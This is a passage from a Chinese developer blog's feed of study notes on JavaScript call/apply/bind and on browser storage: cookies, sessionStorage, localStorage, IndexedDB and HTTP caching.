<li>接受两个参数，第一个参数是this的指向，第二个参数是函数接受的参数，以<strong>参数列表</strong>的形式传入,<strong>必须一次性传入所有参数</strong></li>
<li>当第一个参数为null、undefined的时候，默认指向window(在浏览器中)</li>
<li>改变this指向后原函数会<strong>立即执行</strong>，且此方法只是临时改变this指向一次。</li>
<li>示例：
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="kd">var</span> <span class="nx">arr</span><span class="o">=</span><span class="p">[</span><span class="mi">1</span><span class="p">,</span><span class="mi">10</span><span class="p">,</span><span class="mi">5</span><span class="p">,</span><span class="mi">8</span><span class="p">,</span><span class="mi">3</span><span class="p">];</span>
</span></span><span class="line"><span class="cl"><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nb">Math</span><span class="p">.</span><span class="nx">max</span><span class="p">.</span><span class="nx">call</span><span class="p">(</span><span class="kc">null</span><span class="p">,</span><span class="nx">arr</span><span class="p">[</span><span class="mi">0</span><span class="p">],</span><span class="nx">arr</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span><span class="nx">arr</span><span class="p">[</span><span class="mi">2</span><span class="p">],</span><span class="nx">arr</span><span class="p">[</span><span class="mi">3</span><span class="p">],</span><span class="nx">arr</span><span class="p">[</span><span class="mi">4</span><span class="p">]));</span> <span class="c1">//10
</span></span></span></code></pre></div></li>
</ul>
<h3 id="bind">bind</h3>
<ul>
<li><a href="https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Function/bind"  target="_blank" rel="noopener" >Function.prototype.bind() - JavaScript | MDN</a></li>
<li>接受两个参数，第一个参数是this的指向，如果函数不在严格模式下，null 和 undefined 会被替换为全局对象;</li>
<li>第二个参数是函数接受的参数，以<strong>参数列表</strong>的形式传入,<strong>可以分多次传入</strong></li>
<li>改变this指向后<strong>不会立即执行</strong>，而是返回一个<strong>永久改变this指向的函数</strong></li>
<li>可以<strong>二次传参</strong>，但新绑定的 thisArg 值会被忽略</li>
<li>示例：
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="kd">var</span> <span class="nx">arr</span><span class="o">=</span><span class="p">[</span><span class="mi">1</span><span class="p">,</span><span class="mi">10</span><span class="p">,</span><span class="mi">5</span><span class="p">,</span><span class="mi">8</span><span class="p">,</span><span class="mi">12</span><span class="p">];</span>
</span></span><span class="line"><span class="cl"><span class="kd">var</span> <span class="nx">max</span><span class="o">=</span><span class="nb">Math</span><span class="p">.</span><span class="nx">max</span><span class="p">.</span><span class="nx">bind</span><span class="p">(</span><span class="kc">null</span><span class="p">,</span><span class="nx">arr</span><span class="p">[</span><span class="mi">0</span><span class="p">],</span><span class="nx">arr</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span><span class="nx">arr</span><span class="p">[</span><span class="mi">2</span><span class="p">],</span><span class="nx">arr</span><span class="p">[</span><span class="mi">3</span><span class="p">])</span>
</span></span><span class="line"><span class="cl"><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">max</span><span class="p">(</span><span class="nx">arr</span><span class="p">[</span><span class="mi">4</span><span class="p">]));</span> <span class="c1">//12，分两次传参
</span></span></span></code></pre></div></li>
<li>简易实现
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="nb">Function</span><span class="p">.</span><span class="nx">prototype</span><span class="p">.</span><span class="nx">bind</span><span class="o">=</span><span class="kd">function</span> <span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="kd">var</span> <span class="nx">_this</span><span class="o">=</span><span class="k">this</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="kd">var</span> <span class="nx">context</span><span class="o">=</span><span class="nx">arguments</span><span class="p">[</span><span class="mi">0</span><span class="p">];</span>
</span></span><span class="line"><span class="cl">  <span class="kd">var</span> <span class="nx">arg</span><span class="o">=</span><span class="p">[].</span><span class="nx">slice</span><span class="p">.</span><span class="nx">call</span><span class="p">(</span><span class="nx">arguments</span><span class="p">,</span><span class="mi">1</span><span class="p">);</span> <span class="c1">//将函数调用时传入的参数转换为数组，并且去掉了第一个参数
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="kd">function</span><span class="p">(){</span>
</span></span><span class="line"><span class="cl">    <span class="nx">arg</span><span class="o">=</span><span class="p">[].</span><span class="nx">concat</span><span class="p">.</span><span class="nx">apply</span><span class="p">(</span><span class="nx">arg</span><span class="p">,</span><span class="nx">arguments</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nx">_this</span><span class="p">.</span><span class="nx">apply</span><span class="p">(</span><span class="nx">context</span><span class="p">,</span><span class="nx">arg</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="p">};</span>
</span></span></code></pre></div></li>
</ul>
<h3 id="作用">作用</h3>
<ul>
<li>防止原型链污染</li>
<li>示例:
<ul>
<li>JavaScript does not protect the property name hasOwnProperty; an object that has a property with this name may return incorrect results</li>
<li>The recommended way to overcome this problem is to instead use Object.hasOwn() (in browsers that support it). Other alternatives include using an external hasOwnProperty:</li>
<li>代码
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="kr">const</span> <span class="nx">foo</span> <span class="o">=</span> <span class="p">{</span> <span class="nx">bar</span><span class="o">:</span> <span class="s2">&#34;Here be dragons&#34;</span> <span class="p">};</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">// Use Object.hasOwn() method - recommended
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nb">Object</span><span class="p">.</span><span class="nx">hasOwn</span><span class="p">(</span><span class="nx">foo</span><span class="p">,</span> <span class="s2">&#34;bar&#34;</span><span class="p">);</span> <span class="c1">// true
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>
</span></span><span class="line"><span class="cl"><span class="c1">// Use the hasOwnProperty property from the Object prototype
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nb">Object</span><span class="p">.</span><span class="nx">prototype</span><span class="p">.</span><span class="nx">hasOwnProperty</span><span class="p">.</span><span class="nx">call</span><span class="p">(</span><span class="nx">foo</span><span class="p">,</span> <span class="s2">&#34;bar&#34;</span><span class="p">);</span> <span class="c1">// true
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>
</span></span><span class="line"><span class="cl"><span class="c1">// Use another Object&#39;s hasOwnProperty
</span></span></span><span class="line"><span class="cl"><span class="c1">// and call it with &#39;this&#39; set to foo
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="p">({}).</span><span class="nx">hasOwnProperty</span><span class="p">.</span><span class="nx">call</span><span class="p">(</span><span class="nx">foo</span><span class="p">,</span> <span class="s2">&#34;bar&#34;</span><span class="p">);</span> <span class="c1">// true
</span></span></span></code></pre></div></li>
</ul>
</li>
</ul>
<hr>
<h2 id="代码输出题">代码输出题</h2>
<h3 id="题目一">题目一</h3>
<ul>
<li>代码
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="kr">const</span> <span class="nx">obj</span> <span class="o">=</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="nx">name</span><span class="o">:</span> <span class="s1">&#39;eu&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="nx">sayHi1</span><span class="o">:</span> <span class="p">()=&gt;{</span>
</span></span><span class="line"><span class="cl">    <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="k">this</span><span class="p">.</span><span class="nx">name</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="p">},</span>
</span></span><span class="line"><span class="cl">  <span class="nx">sayHi2</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="p">(()=&gt;{</span>
</span></span><span class="line"><span class="cl">      <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="k">this</span><span class="p">.</span><span class="nx">name</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="p">})();</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="nx">obj</span><span class="p">.</span><span class="nx">sayHi1</span><span class="p">();</span> <span class="c1">// &#39;&#39;
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">obj</span><span class="p">.</span><span class="nx">sayHi2</span><span class="p">();</span> <span class="c1">// &#39;eu&#39;
</span></span></span></code></pre></div></li>
<li>解释：
<ol>
<li><code>obj.sayHi1()</code> 的执行
<ul>
<li>
<p>考察知识点一:  <strong>箭头函数中的 <code>this</code></strong>：
箭头函数不会创建自己的 <code>this</code> 绑定，它会继承上下文中的 <code>this</code>。也就是说，<code>this</code> 的值取决于箭头函数定义时所在的上下文，而不是调用时的上下文。</p>
</li>
<li>
<p>本题中的应用:
在 <code>sayHi1</code> 方法中，箭头函数被定义在 <code>obj</code> 对象的上下文中，但是由于箭头函数继承的是定义时的 <code>this</code>，而不是调用时的 <code>this</code>，<code>this</code> 将会是<strong>全局上下文</strong>（在严格模式下为 <code>undefined</code>，在非严格模式下为 <code>window</code>）。</p>
<p>因为 <code>this</code> 不是指向 <code>obj</code>，而是指向全局对象，<code>this.name</code> 在全局对象中是未定义的，可能返回 <code>undefined</code> 或空字符串 <code>''</code>，具体取决于运行环境。</p>
</li>
</ul>
</li>
<li><code>obj.sayHi2()</code> 的执行
<ul>
<li>考察知识点一: 简写函数定义
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="nx">sayHi2</span><span class="p">(){</span>
</span></span><span class="line"><span class="cl"> <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="s1">&#39;hi&#39;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="c1">// 相当于
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">sayHi2</span><span class="o">:</span> <span class="kd">function</span><span class="p">(){</span>
</span></span><span class="line"><span class="cl"> <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="s1">&#39;hi&#39;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div></li>
<li>考察知识点二: 普通方法中的 <code>this</code>会根据调用的上下文来决定</li>
<li>本题中的应用
<code>sayHi2</code> 是一个普通方法，因此 <code>this</code> 会根据调用的上下文来决定。在这个例子中，<code>obj.sayHi2()</code> 是调用 <code>sayHi2</code>，所以 <code>this</code> 指向 <code>obj</code>。</li>
</ul>
</li>
</ol>
</li>
</ul>
<h3 id="参考-1">参考</h3>
<ul>
<li><a href="https://zhuanlan.zhihu.com/p/82340026"  target="_blank" rel="noopener" >彻底弄懂bind，apply，call三者的区别 - 知乎</a></li>
<li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/hasOwnProperty"  target="_blank" rel="noopener" >Object.prototype.hasOwnProperty() - JavaScript | MDN</a></li>
</ul>
]]></content:encoded>
    </item>
    
    <item>
      <title>浏览器存储</title>
      <link>https://euds.org/2024/browser_storage/</link>
      <pubDate>Wed, 09 Oct 2024 23:34:14 +0800</pubDate>
      
      <guid>https://euds.org/2024/browser_storage/</guid>
      <description>自己学习过程中整理的关于浏览器存储的知识点</description>
      <content:encoded><![CDATA[<h2 id="cookie">Cookie</h2>
<h3 id="概述">概述</h3>
<h3 id="2024年10月13日">2024年10月13日</h3>
<ul>
<li>Cookie是最古老和最基本的客户端存储机制之一。</li>
<li>Cookie是由服务器发送到用户浏览器的小型文本文件，存储在用户的计算机上。</li>
<li>Cookie是基于域的，不区分协议</li>
<li>每次发送HTTP请求时，浏览器都会将相应的Cookie发送回服务器。</li>
<li>Cookie通常用于存储用户偏好设置、跟踪用户行为等信息。</li>
</ul>
<h3 id="限制">限制</h3>
<ul>
<li>格式: <code>name=value</code>, name和value都应该使用内建的 encodeURIComponent 函数对其进行转义</li>
<li>大小: encodeURIComponent 编码后的 name=value 对，大小不能超过 4KB</li>
<li>数量: 每个域的 cookie 总数在20到50左右，具体限制取决于浏览器。</li>
<li>可以通过设置Cookie的过期时间来控制Cookie的生命周期。</li>
</ul>
<h3 id="安全性">安全性</h3>
<ul>
<li><code>path=/mypath</code>:
<ul>
<li>该路径下的页面可以访问该 cookie</li>
<li>默认为当前路径</li>
</ul>
</li>
<li><code>domain=site.com</code>:
<ul>
<li>控制可访问 cookie 的域</li>
<li>默认(也就是不设置的话),不会共享给子域</li>
<li>只有明确地将 domain 选项设置为根域，子域才能访问
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="c1">// 在 site.com
</span></span></span><span class="line"><span class="cl"><span class="c1">// 使 cookie 可以被在任何子域 *.site.com 访问：
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nb">document</span><span class="p">.</span><span class="nx">cookie</span> <span class="o">=</span> <span class="s2">&#34;user=John; domain=site.com&#34;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">// 之后
</span></span></span><span class="line"><span class="cl"><span class="c1">// 在 forum.site.com
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">alert</span><span class="p">(</span><span class="nb">document</span><span class="p">.</span><span class="nx">cookie</span><span class="p">);</span> <span class="c1">// 有 cookie user=John
</span></span></span></code></pre></div></li>
</ul>
</li>
<li><code>expires</code>, <code>max-age</code>
<ul>
<li>如果没有设置这两个参数都没有设置，那么在关闭浏览器之后会消失，也就是<code>session cookie</code></li>
<li><code>expires</code> 要求使用 GMT 时区的这种格式
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="c1">// 当前时间 +1 天
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="kd">let</span> <span class="nx">date</span> <span class="o">=</span> <span class="k">new</span> <span class="nb">Date</span><span class="p">(</span><span class="nb">Date</span><span class="p">.</span><span class="nx">now</span><span class="p">()</span> <span class="o">+</span> <span class="mf">86400e3</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="nx">date</span> <span class="o">=</span> <span class="nx">date</span><span class="p">.</span><span class="nx">toUTCString</span><span class="p">();</span>
</span></span><span class="line"><span class="cl"><span class="nb">document</span><span class="p">.</span><span class="nx">cookie</span> <span class="o">=</span> <span class="s2">&#34;user=John; expires=&#34;</span> <span class="o">+</span> <span class="nx">date</span><span class="p">;</span>
</span></span></code></pre></div></li>
<li><code>max-age</code>: 单位为秒</li>
</ul>
</li>
<li><code>secure</code>
<ul>
<li>表示该cookie只能通过HTTPS传输</li>
</ul>
</li>
<li><code>samesite</code>
<ol>
<li><code>strict</code></li>
</ol>
<ul>
<li>默认</li>
<li>如果用户来自同一网站之外，那么设置了 samesite=strict 的 cookie 永远不会被发送</li>
</ul>
<ol start="2">
<li><code>lax</code></li>
</ol>
<ul>
<li>和 strict 模式类似，当从外部来到网站，则禁止浏览器发送 cookie，除非满足两个条件
<ol>
<li>HTTP 方法是“安全的”（例如 GET 方法，而不是 POST）。</li>
<li>该操作执行顶级导航（更改浏览器地址栏中的 URL）。</li>
</ol>
</li>
<li>缺点：会被到 2017 年左右的旧版本浏览器忽略（不兼容）</li>
</ul>
</li>
<li><code>httpOnly</code>
<ul>
<li>Web服务器使用 Set-Cookie header 来设置 cookie时，可以设置 httpOnly 选项</li>
<li>禁止任何 JavaScript 访问 cookie</li>
</ul>
</li>
</ul>
<h3 id="第三方cookie">第三方cookie</h3>
<ul>
<li>如果 cookie 是由用户所访问的页面的域以外的域放置的，则称其为第三方 cookie。</li>
<li>通常用于跟踪和广告服务。它们被绑定在原始域上，因此第三方网站可以在不同网站之间跟踪同一用户，如果这些网站都可以访问该第三方网站的话</li>
</ul>
<h3 id="gdpr">GDPR</h3>
<ul>
<li>欧洲有一项名为 GDPR 的立法，该法规针对网站尊重用户实施了一系列规则。其中之一就是需要明确的许可才可以跟踪用户的 cookie。</li>
<li>如果我们要设置带有身份验证会话（session）或跟踪 id 的 cookie，那么必须得到用户的允许。</li>
</ul>
<h3 id="参考">参考</h3>
<ul>
<li><a href="https://zh.javascript.info/cookie#samesite"  target="_blank" rel="noopener" >Cookie，document.cookie</a></li>
<li><a href="https://juejin.cn/post/7320528982386163775"  target="_blank" rel="noopener" >Chrome禁用三方Cookie：前端必知的影响 - 掘金</a></li>
</ul>
<hr>
<h2 id="sessionstorage和localstorage">sessionStorage和localStorage</h2>
<h3 id="sessionstorage">sessionStorage</h3>
<ul>
<li>sessionStorage是HTML5引入的Web存储机制之一，用于在浏览器中临时存储会话数据。</li>
<li>sessionStorage中存储的数据仅在当前会话期间有效，<strong>当用户关闭浏览器标签页或窗口时会被清除</strong>。</li>
<li>sessionStorage中存储的数据仅限于当前页面或同源页面之间共享，不同页面之间的sessionStorage数据不会共享。</li>
</ul>
<h3 id="localstorage">localStorage</h3>
<ul>
<li>localStorage也是HTML5引入的Web存储机制之一，用于在浏览器中持久存储数据。</li>
<li>localStorage中存储的数据在用户关闭浏览器后<strong>仍然保留</strong>，直到用户显式删除它们。</li>
<li>localStorage中存储的数据也只限于同源页面之间共享，不同源页面之间的localStorage数据不会共享。</li>
<li>存满了会报错: <code>QuotaExceededError</code></li>
</ul>
<h3 id="对比">对比</h3>
<ul>
<li><strong>生命周期</strong>：
<ol>
<li>Cookie可以通过设置过期时间来控制生命周期</li>
<li>sessionStorage的数据仅在当前会话期间有效</li>
<li>localStorage的数据则在浏览器关闭后仍然保留。</li>
</ol>
</li>
<li><strong>数据共享</strong>：
<ol>
<li>Cookie的数据则在同源或跨域请求中都会发送到服务器端。</li>
<li>sessionStorage: 多窗口之间sessionStorage不可以共享状态,但是在某些特定场景下新开的页面会复制之前页面的sessionStorage</li>
<li>localStorage的数据在<strong>同源页面之间</strong>共享</li>
</ol>
</li>
<li><strong>存储容量</strong>：
<ul>
<li>Cookie相对较小(几kb)</li>
<li>sessionStorage和localStorage通常具有更大的存储容量限制(几兆)</li>
</ul>
</li>
</ul>
<h3 id="storage-event">storage event</h3>
<ul>
<li>
<p>不会冒泡</p>
</li>
<li>
<p>The storage event of the Window interface fires when a storage area (localStorage or sessionStorage) has been modified in the context of another document.</p>
</li>
<li>
<p>A way for other browsing contexts on the domain using the storage to sync any changes that are made.</p>
</li>
<li>
<p>Event properties</p>
<ol>
<li>key</li>
<li>newValue</li>
<li>oldValue</li>
<li>storageArea</li>
<li>url</li>
</ol>
</li>
<li>
<p>示例</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="nb">window</span><span class="p">.</span><span class="nx">addEventListener</span><span class="p">(</span><span class="s2">&#34;storage&#34;</span><span class="p">,</span> <span class="p">()</span> <span class="p">=&gt;</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="c1">// When local storage changes, dump the list to
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="c1">// the console.
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">JSON</span><span class="p">.</span><span class="nx">parse</span><span class="p">(</span><span class="nb">window</span><span class="p">.</span><span class="nx">localStorage</span><span class="p">.</span><span class="nx">getItem</span><span class="p">(</span><span class="s2">&#34;sampleList&#34;</span><span class="p">)));</span>
</span></span><span class="line"><span class="cl"><span class="p">});</span>
</span></span></code></pre></div></li>
<li>
<p><a href="https://developer.mozilla.org/en-US/docs/Web/API/Window/storage_event"  target="_blank" rel="noopener" >Window: storage event - Web APIs | MDN</a></p>
</li>
</ul>
<h3 id="延伸">延伸</h3>
<ul>
<li>use localStorage to maintain state across windows
<ul>
<li><a href="https://github.com/bgstaal/multipleWindow3dScene"  target="_blank" rel="noopener" >bgstaal/multipleWindow3dScene: A quick example of how one can &ldquo;synchronize&rdquo; a 3d scene across multiple windows using three.js and localStorage</a></li>
</ul>
</li>
<li>使用sessionStorage和localStorage来存储jwt
<ul>
<li><a href="https://github.com/EuDs63/BookRecommend_Front"  target="_blank" rel="noopener" >EuDs63/BookRecommend_Front: 图书推荐系统</a></li>
</ul>
</li>
<li>localStorage 存满了再往里写会发生什么？
<ul>
<li>存不进去并报错（QuotaExceededError）</li>
<li><a href="https://www.cnblogs.com/kidney/p/9058352.html"  target="_blank" rel="noopener" >localSto存不进去并报错（QuotaExceededError）rage 存满了怎么办？ - {Bison} - 博客园</a></li>
</ul>
</li>
</ul>
<h3 id="参考-1">参考：</h3>
<ul>
<li><a href="https://www.explainthis.io/zh-hans/swe/cookie-sessionstorage-localstorage-difference"  target="_blank" rel="noopener" >请描述 cookie, sessionStorage 和 localStorage 的差异｜ExplainThis</a></li>
<li><a href="https://developer.mozilla.org/zh-CN/docs/Web/API/Window/sessionStorage"  target="_blank" rel="noopener" >Window.sessionStorage - Web API 接口参考 | MDN</a></li>
<li><a href="https://juejin.cn/post/7076767687828832286"  target="_blank" rel="noopener" >面试官：你确定多窗口之间sessionStorage不能共享状态吗？？？🤔 - 掘金</a></li>
</ul>
<hr>
<h2 id="indexeddb">IndexedDB</h2>
<h3 id="概念">概念</h3>
<ul>
<li>浏览器中的数据库</li>
</ul>
<h3 id="用户能修改吗">用户能修改吗？</h3>
<ul>
<li>答: Chrome浏览器并没有提供给用户直接修改的方式,但肯定能改。</li>
<li>存储的位置位于(win11系统): <code>c:\Users\USERNAME\AppData\Local\Google\Chrome\User Data\Default\IndexedDB\</code></li>
<li>每个“源”有两个文件夹，类似于
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">http_localhost_3001.indexeddb.blob
</span></span><span class="line"><span class="cl">http_localhost_3001.indexeddb.leveldb
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">https_www.bilibili.com_0.indexeddb.blob
</span></span><span class="line"><span class="cl">https_www.bilibili.com_0.indexeddb.leveldb
</span></span></code></pre></div>ps: 看到这就很好理解同源的要求了</li>
<li>被加密了，但还是不推荐存储任何服务端敏感的内容于用户端</li>
<li><a href="https://learn.microsoft.com/en-us/microsoft-edge/devtools-guide-chromium/storage/indexeddb#edit-indexeddb-data-by-using-the-console-tool"  target="_blank" rel="noopener" >Edit IndexedDB data by using the Console tool - Microsoft Edge Developer documentation | Microsoft Learn</a></li>
</ul>
<h3 id="优化">优化</h3>
<ul>
<li>思路来自<a href="https://x.com/wsygc/status/1834835198334394667"  target="_blank" rel="noopener" >Tristan on X</a></li>
</ul>
<blockquote>
<p>虽然indexDB可以当数据库存很多图片（blob），但随着用户使用的时间变长，本地存放的图会越来越多，其实大部分是不会再用到的，数据一多，读取效率会打折扣，所以做了个FIFO存储队列，最多存50张。</p>
</blockquote>
<h3 id="参考-2">参考</h3>
<ul>
<li><a href="https://developer.mozilla.org/zh-CN/docs/Web/API/IndexedDB_API"  target="_blank" rel="noopener" >IndexedDB - Web API 接口参考 | MDN</a></li>
<li><a href="https://zh.javascript.info/indexeddb"  target="_blank" rel="noopener" >IndexedDB</a></li>
<li><a href="https://stackoverflow.com/questions/33983979/edit-data-in-indexeddb-by-the-user"  target="_blank" rel="noopener" >Edit data in IndexedDB by the user - Stack Overflow</a></li>
<li><a href="https://learn.microsoft.com/en-us/microsoft-edge/devtools-guide-chromium/storage/indexeddb"  target="_blank" rel="noopener" >View and change IndexedDB data - Microsoft Edge Developer documentation | Microsoft Learn</a></li>
</ul>
<hr>
<h2 id="cachestorage">CacheStorage</h2>
<ul>
<li>This feature is available in Web Workers.</li>
</ul>
<h3 id="参考-3">参考</h3>
<ul>
<li><a href="https://developer.mozilla.org/en-US/docs/Web/API/CacheStorage"  target="_blank" rel="noopener" >CacheStorage - Web APIs | MDN</a></li>
</ul>
<hr>
<h2 id="浏览器缓存">浏览器缓存</h2>
<h3 id="定义">定义</h3>
<blockquote>
<p>当我们访问一个网站时，会加载各种资源，如 HTML文档、JS、CSS、图片等。浏览器会将一些不经常变的资源保存在本地，这样下次访问相同网站时，就直接从本地加载资源，并不通过请求服务器，这就是浏览器缓存</p>
</blockquote>
<h3 id="分类">分类</h3>
<ul>
<li>
<p><strong>根据位置分类</strong></p>
<ul>
<li>memory cache:主要用来缓存有 preloader 相关指令的资源;关闭tab页后就释放</li>
<li>disk cache</li>
</ul>
</li>
<li>
<p><strong>根据是否需要和服务器进行通信分类</strong></p>
<ul>
<li>强缓存
<ul>
<li>不会向服务器发送请求，直接从缓存中读取资源</li>
<li>通过<code>Expires</code>和<code>Cache-Control</code>来实现的</li>
</ul>
</li>
<li>协商缓存
<ul>
<li>在强缓存失效后，浏览器携带缓存标识向服务器发起请求，由服务器根据缓存标识来决定是否使用缓存</li>
<li>利用的是<code>Last-Modified</code>,<code>If-Modified-Since</code>和<code>ETag</code>,<code>If-None-Match</code>这两对Header来管理</li>
</ul>
</li>
</ul>
</li>
</ul>
<h3 id="response-header中的相关属性">Response Header中的相关属性</h3>
<ol>
<li><code>Expires</code></li>
</ol>
<ul>
<li>HTTP/1</li>
</ul>
<ol start="2">
<li><code>Last-Modified</code> / <code>If-Modified-Since</code></li>
</ol>
<ul>
<li>HTTP/1</li>
<li>流程
<ol>
<li>浏览器第一次访问资源，<strong>服务器</strong>会 Response Header 里添加 Last-Modified 的值</li>
<li>浏览器在下一次请求这个资源的时候，检测到有<code>Last-Modified</code>这个 Header。<strong>浏览器</strong>就会在Request中加上 <code>If-Modified-Since</code>，<code>If-Modified-Since</code>的值就是 Last-Modified 的值</li>
<li>服务器收到请求后，如果资源没有修改，服务器返回 304 Not Modified 状态码，并且不包含资源的内容。浏览器此时会使用本地缓存中的资源。</li>
<li>如果资源发生了修改，服务器会返回新的资源内容和更新后的 Last-Modified。</li>
</ol>
</li>
</ul>
<ol start="3">
<li><code>Cache-Control</code></li>
</ol>
<ul>
<li>HTTP/1.1</li>
<li>优先级比 Expires 要高</li>
<li>可选值
<ul>
<li>public</li>
<li>private</li>
<li>no-store: 完全禁用缓存，资源不会存储在缓存中。</li>
<li>no-cache: 告诉浏览器要使用缓存文件，但是每次需要跟服务器确认是最新文件以后才能用，一般使用 Etag 或者 Last-Modified 字段来控制缓存</li>
<li>max-age=60</li>
</ul>
</li>
</ul>
<ol start="4">
<li><code>ETag</code> / <code>If-None-Match</code></li>
</ol>
<ul>
<li>HTTP/1.1</li>
<li>ETag由服务器生成,三种方式：基于内容 / 基于版本 / 自定义生成</li>
<li>浏览器在下一次加载资源向服务器发送请求时，会将上一次返回的<code>Etag</code>值放到request header里的<code>If-None-Match</code>里</li>
<li>ETag 的优先级要高于 Last-Modified</li>
<li>解决了<code>Last-Modified</code>的如下问题
<ol>
<li>某些服务器不能精确得到文件的最后修改时间， 这样就无法通过最后修改时间来判断文件是否更新了。</li>
<li>某些文件的修改非常频繁，在秒以下的时间内进行修改. Last-Modified只能精确到秒。</li>
<li>一些文件的最后修改时间改变了，但是内容并未改变。 我们不希望客户端认为这个文件修改了。</li>
</ol>
</li>
</ul>
<h3 id="如何禁用缓存如何使缓存失效">如何禁用缓存(如何使缓存失效)</h3>
<ul>
<li>场景一: 发版，要求无视缓存
<ul>
<li>每次对应静态文件里有内容改动的时候，自动加一段 hash 到静态文件名里</li>
</ul>
</li>
<li>场景二: 用户自己想要刷新
<ul>
<li>F5 刷新: 因浏览器而异</li>
<li>Ctrl + F5 强制刷新的时候，会暂时禁用强缓存和协商缓存</li>
</ul>
</li>
</ul>
<h3 id="后端配置">后端配置</h3>
<ul>
<li><code>setHeader</code>之类</li>
<li>Nginx 配置</li>
</ul>
<h3 id="参考-4">参考</h3>
<ul>
<li><a href="https://limeii.github.io/2018/11/web-cache/"  target="_blank" rel="noopener" >浏览器缓存机制：强缓存和协商缓存</a></li>
<li><a href="https://segmentfault.com/a/1190000021661656"  target="_blank" rel="noopener" >前端 - 浏览器的强缓存和协商缓存 - yiliang.share - SegmentFault 思否</a></li>
<li><a href="https://lewinblog.com/blog/page/2022/221007-http-headers-cache-control.md"  target="_blank" rel="noopener" >HTTP缓存控制: Cache-Control - Lewin&rsquo;s Blog</a></li>
</ul>
<hr>
<h2 id="其他缓存">其他缓存</h2>
<h3 id="memory-cache内存缓存">Memory Cache（内存缓存）</h3>
<ul>
<li><strong>特点</strong>：缓存存储在浏览器的内存中，主要用于存储从网络请求获取的资源（如 HTML、CSS、JavaScript 和图片）。这种缓存生命周期短，只在当前页面会话中有效，页面刷新或关闭后缓存会被清除。</li>
<li><strong>用途</strong>：用于快速重用同一页面内的资源，提升页面加载速度。</li>
<li><strong>存储时间</strong>：通常在页面刷新或关闭后即清除。</li>
<li><strong>优点</strong>：速度最快，适用于瞬时的页面资源重用。</li>
</ul>
<h3 id="push-cache">Push Cache</h3>
<ul>
<li><strong>特点</strong>: 在用户并未明确请求某些资源的情况下，提前将这些资源推送到用户的缓存中。</li>
<li><strong>用途</strong>: 在用户即将需要某些资源时，提前发送这些资源，这样在用户实际请求时，可以直接从缓存中获取，而无需再次请求服务器。</li>
</ul>
<h3 id="application-cacheappcache">Application Cache（AppCache）</h3>
<ul>
